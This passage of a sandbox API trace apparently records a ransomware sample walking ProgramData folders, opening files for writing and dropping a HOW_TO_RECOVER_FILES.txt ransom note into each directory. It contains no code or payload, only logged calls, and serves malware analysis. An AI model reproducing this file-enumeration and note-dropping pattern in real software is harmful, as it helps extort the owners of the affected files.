stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0098.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0098.766] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico", lpFilePart=0x0) returned 0x63 [0098.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0098.766] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), fInfoLevelId=0x0, lpFileInformation=0x33b2518 | out: lpFileInformation=0x33b2518*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2)) returned 1 [0098.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0098.766] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico", lpFilePart=0x0) returned 0x63 [0098.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0098.766] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0098.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0098.769] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", lpFilePart=0x0) returned 0x5b [0098.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0098.769] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), fInfoLevelId=0x0, lpFileInformation=0x33b2d70 | out: lpFileInformation=0x33b2d70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64)) returned 1 [0098.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0098.769] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", lpFilePart=0x0) returned 0x5b [0098.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0098.769] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0098.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0098.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0098.771] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", lpFilePart=0x0) returned 0x57 [0098.771] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0098.772] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.772] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0098.772] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.772] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0098.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0098.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0098.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0098.772] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", lpFilePart=0x0) returned 0x57 [0098.772] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51d20 [0098.773] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.773] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0098.773] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0098.773] FindClose (in: hFindFile=0x1ec51d20 | out: hFindFile=0x1ec51d20) returned 1 [0098.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0098.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0098.773] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x1f9ec350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x64 [0098.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec820) returned 1 [0098.773] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), fInfoLevelId=0x0, lpFileInformation=0x33c1b38 | out: lpFileInformation=0x33c1b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8)) returned 1 [0098.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec7e0) returned 1 [0098.774] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x1f9ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x64 [0098.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec6d0) returned 1 [0098.774] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0098.774] GetFileType (hFile=0x6e0) returned 0x1 [0098.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec640) returned 1 [0098.774] GetFileType (hFile=0x6e0) returned 0x1 [0098.774] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f9ec878 | out: lpFileSizeHigh=0x1f9ec878*=0x0) returned 0x5e8 [0098.774] ReadFile (in: hFile=0x6e0, lpBuffer=0x33c2448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ec7a8, lpOverlapped=0x0 | out: lpBuffer=0x33c2448*, lpNumberOfBytesRead=0x1f9ec7a8*=0x5e8, lpOverlapped=0x0) returned 1 [0098.816] CloseHandle (hObject=0x6e0) returned 1 [0099.126] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x1f9ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x64 [0099.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec6d0) returned 1 [0099.127] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0099.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e90c0) returned 1 [0099.659] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ec4c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x70 [0099.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec9e0) returned 1 [0099.660] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0099.661] GetFileType (hFile=0x768) returned 0x1 [0099.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec950) returned 1 [0099.661] GetFileType (hFile=0x768) returned 0x1 [0099.661] WriteFile (in: hFile=0x768, lpBuffer=0x33793b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ecaa8, lpOverlapped=0x0 | out: lpBuffer=0x33793b8*, lpNumberOfBytesWritten=0x1f9ecaa8*=0x5d0, lpOverlapped=0x0) returned 1 [0099.662] CloseHandle (hObject=0x768) returned 1 [0099.662] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0099.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0099.662] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0099.663] GetFileType (hFile=0x768) returned 0x1 [0099.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0099.663] GetFileType (hFile=0x768) returned 0x1 [0099.664] WriteFile (in: hFile=0x768, lpBuffer=0x337ccb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x337ccb0*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0099.665] CloseHandle (hObject=0x768) returned 1 [0099.665] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0099.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0099.665] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0099.667] GetFileType (hFile=0x768) returned 0x1 [0099.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0099.667] GetFileType (hFile=0x768) returned 0x1 [0099.668] WriteFile (in: hFile=0x768, lpBuffer=0x3380628*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3380628*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0099.669] CloseHandle (hObject=0x768) returned 1 [0099.669] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3e [0099.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0099.669] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0099.669] GetFileType (hFile=0x768) returned 0x1 [0099.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0099.669] GetFileType (hFile=0x768) returned 0x1 [0099.670] WriteFile (in: hFile=0x768, lpBuffer=0x3383e70*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3383e70*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0099.671] CloseHandle (hObject=0x768) returned 1 [0099.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0099.671] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DeviceSync", lpFilePart=0x0) returned 0x23 [0099.671] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0099.672] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.672] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0099.672] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0099.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0099.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0099.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0099.673] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DeviceSync", lpFilePart=0x0) returned 0x23 [0099.673] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0099.673] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.673] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0099.673] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0099.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0099.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0099.673] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DeviceSync\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0099.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0099.673] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\devicesync\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c4 [0099.674] GetFileType (hFile=0x7c4) returned 0x1 [0099.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0099.674] GetFileType (hFile=0x7c4) returned 0x1 [0099.675] WriteFile (in: hFile=0x7c4, lpBuffer=0x3394be0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3394be0*, 